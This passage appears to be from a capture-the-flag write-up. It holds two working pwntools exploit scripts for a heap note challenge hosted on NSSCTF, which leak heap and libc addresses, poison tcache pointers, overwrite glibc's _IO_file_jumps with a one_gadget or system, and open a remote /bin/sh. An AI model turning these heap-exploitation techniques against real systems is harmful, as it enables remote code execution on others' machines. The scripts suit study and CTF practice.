r = remote('node4.anna.nssctf.cn', 28144)

def add():
r.sendlineafter(b'Choice: ', b'1')
sleep(T)

def delete(idx):
r.sendlineafter(b'Choice: ', b'2')
r.sendlineafter(b'Idx: ', str(idx).encode())
sleep(T)

def show(idx):
r.sendlineafter(b'Choice: ', b'3')
r.sendlineafter(b'Idx: \n', str(idx).encode())
return r.recvuntil(b'\nDone', drop=True)

def edit(idx, content):
r.sendlineafter(b'Choice: ', b'4')
r.sendlineafter(b'Idx: ', str(idx).encode())
#r.sendlineafter(b'Size: ', str(size).encode())
r.sendlineafter(b'Size: ', str(len(content)).encode())
r.sendafter(b'Content: ', content)
sleep(T)

AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
add() # 0
delete(0)
#AUTOGDB and g.execute('b malloc.c:3068') and sleep(T)
heap_base = u64(show(0).ljust(8, b'\x00')) << 12
AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
print(f'{hex(heap_base) = }')

def PROTECT_PTR(ptr):
return (heap_base >> 12) ^ ptr

edit(0, '0' * 8)
tcache_key = show(0)[8:]
print(f'{tcache_key.hex() = }')


AUTOGDB and g.execute('p "leak libc_base"') and sleep(T)
for _ in range(8):
add() # 1 - 8
add() # 9, split top_chunk

for i in range(1, 7+1):
delete(i)
delete(8)
AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
if DEBUG:
libc_base = u64(show(8).ljust(8, b'\x00')) - 0x3ddcc0 # debug
else:
libc_base = u64(show(8).ljust(8, b'\x00')) - 0x1f2cc0
print(f'{hex(libc_base) = }')

'''
pwndbg> p _IO_file_jumps
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7fa11a22c60e <_IO_new_file_finish>,
__overflow = 0x7fa11a22cecb <_IO_new_file_overflow>,
__underflow = 0x7fa11a22cc20 <_IO_new_file_underflow>, <=
... ...
}
'''
AUTOGDB and g.execute('p "write IO_file_jumps"') and sleep(T)
if DEBUG:
libc = ELF('libc-2.34-debug.so') # debug
else:
libc = ELF('libc.so')
#libc_free_hook = libc_base + libc.symbols['__free_hook'] # history
libc_IO_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
libc_IO_new_file_finish = libc_base + libc.symbols['_IO_new_file_finish']
libc_system = libc_base + libc.symbols['system']
print(f'{hex(libc_IO_file_jumps) = }')
print(f'{hex(PROTECT_PTR(libc_IO_file_jumps)) = }')
assert libc_IO_file_jumps & 0b1111 == 0
#edit(7, p64(PROTECT_PTR(libc_IO_file_jumps + 0x10))) # e->key = 0, e->key => _IO_new_file_overflow
edit(7, p64(PROTECT_PTR(libc_IO_file_jumps))) # e->key => dummy
AUTOGDB and g.execute('bins') and sleep(T)

add() # 10
#AUTOGDB and g.execute('b malloc.c:3080') and sleep(T)
add() # 11
AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T)

'''
0xda861 execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xda864 execve("/bin/sh", r13, rdx) <=
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xda867 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
libc_ogg = libc_base + 0xda864
AUTOGDB and g.execute(f'b *{hex(libc_ogg)}') and sleep(T)
AUTOGDB and g.execute('p _IO_file_jumps') and sleep(T)
edit(11, p64(0) + p64(0) + p64(libc_IO_new_file_finish) + p64(libc_ogg))
AUTOGDB and g.execute('p _IO_file_jumps') and sleep(T)

'''
*RDX 0x7fa2f299d960 (_IO_helper_jumps) ◂— 0
*RSI 0xffffffff
*R12 0x55f995925004 ◂— 0x706d4500656e6f44 /* 'Done' */
*R13 0x7fa2f299e560 (__GI__IO_file_jumps) ◂— 0
'''

r.interactive()
r.close()

调system的Exp·

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.1

LOCAL = False
AUTOGDB = True
DEBUG = False
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./pwn', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
sleep(1)
AUTOGDB and g.execute('dir ./src') and sleep(T)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='dir ./src')
input('Waiting GDB...')
else:
AUTOGDB = False
r = remote('node4.anna.nssctf.cn', 28648)

def add():
r.sendlineafter(b'Choice: ', b'1')
sleep(T)

def delete(idx):
r.sendlineafter(b'Choice: ', b'2')
r.sendlineafter(b'Idx: ', str(idx).encode())
sleep(T)

def show(idx):
r.sendlineafter(b'Choice: ', b'3')
r.sendlineafter(b'Idx: \n', str(idx).encode())
return r.recvuntil(b'\nDone', drop=True)

def edit(idx, content):
r.sendlineafter(b'Choice: ', b'4')
r.sendlineafter(b'Idx: ', str(idx).encode())
#r.sendlineafter(b'Size: ', str(size).encode())
r.sendlineafter(b'Size: ', str(len(content)).encode())
r.sendafter(b'Content: ', content)
sleep(T)


AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
add() # 0
delete(0)
heap_base = u64(show(0).ljust(8, b'\x00')) << 12
AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
print(f'{hex(heap_base) = }')

def PROTECT_PTR(ptr):
return (heap_base >> 12) ^ ptr

edit(0, '0' * 8)
tcache_key = show(0)[8:]
print(f'{tcache_key.hex() = }')


AUTOGDB and g.execute('p "leak libc_base"') and sleep(T)
for _ in range(8):
add() # 1 - 8
add() # 9, split top_chunk

for i in range(1, 7+1):
delete(i)
delete(8)
AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
if DEBUG:
libc_base = u64(show(8).ljust(8, b'\x00')) - 0x3ddcc0 # debug
else:
libc_base = u64(show(8).ljust(8, b'\x00')) - 0x1f2cc0
print(f'{hex(libc_base) = }')


AUTOGDB and g.execute('p "write /bin/sh to _IO_2_1_stdout_"') and sleep(T)
if DEBUG:
libc = ELF('libc-2.34-debug.so') # debug
else:
libc = ELF('libc.so')
#libc_free_hook = libc_base + libc.symbols['__free_hook'] # history
libc_IO_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
libc_IO_new_file_finish = libc_base + libc.symbols['_IO_new_file_finish']
libc_system = libc_base + libc.symbols['system']
libc_stdout = libc_base + libc.symbols['_IO_2_1_stdout_']

print(f'{hex(libc_stdout) = }')
assert libc_stdout & 0b1111 == 0
edit(7, p64(PROTECT_PTR(libc_stdout)))
AUTOGDB and g.execute('bins') and sleep(T)

AUTOGDB and g.execute('hexdump &_IO_2_1_stderr_ 0x100') and sleep(T)
add() # 10
add() # 11
AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T)
#edit(11, b'/bin/sh\x00') # stuck in read if edit here
AUTOGDB and g.execute('hexdump &_IO_2_1_stdout_') and sleep(T)

'''
pwndbg> p _IO_file_jumps
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7fa11a22c60e <_IO_new_file_finish>,
__overflow = 0x7fa11a22cecb <_IO_new_file_overflow>,
__underflow = 0x7fa11a22cc20 <_IO_new_file_underflow>, <=
... ...
}
'''
AUTOGDB and g.execute('p "write system to _IO_file_jumps"') and sleep(T)
print(f'{hex(libc_IO_file_jumps) = }')
assert libc_IO_file_jumps & 0b1111 == 0
delete(10)
edit(10, p64(PROTECT_PTR(libc_IO_file_jumps))) # e->key => dummy
AUTOGDB and g.execute('bins') and sleep(T)

add() # 12
add() # 13
AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T)

edit(13, p64(0) + p64(0) + p64(libc_IO_new_file_finish) + p64(libc_system)) # system will not stuck
#AUTOGDB and g.execute('b *$rebase(0x1285)') and sleep(T)
edit(11, b'/bin/sh\x00') # stuck? system!

r.interactive()
r.close()

历史笔记·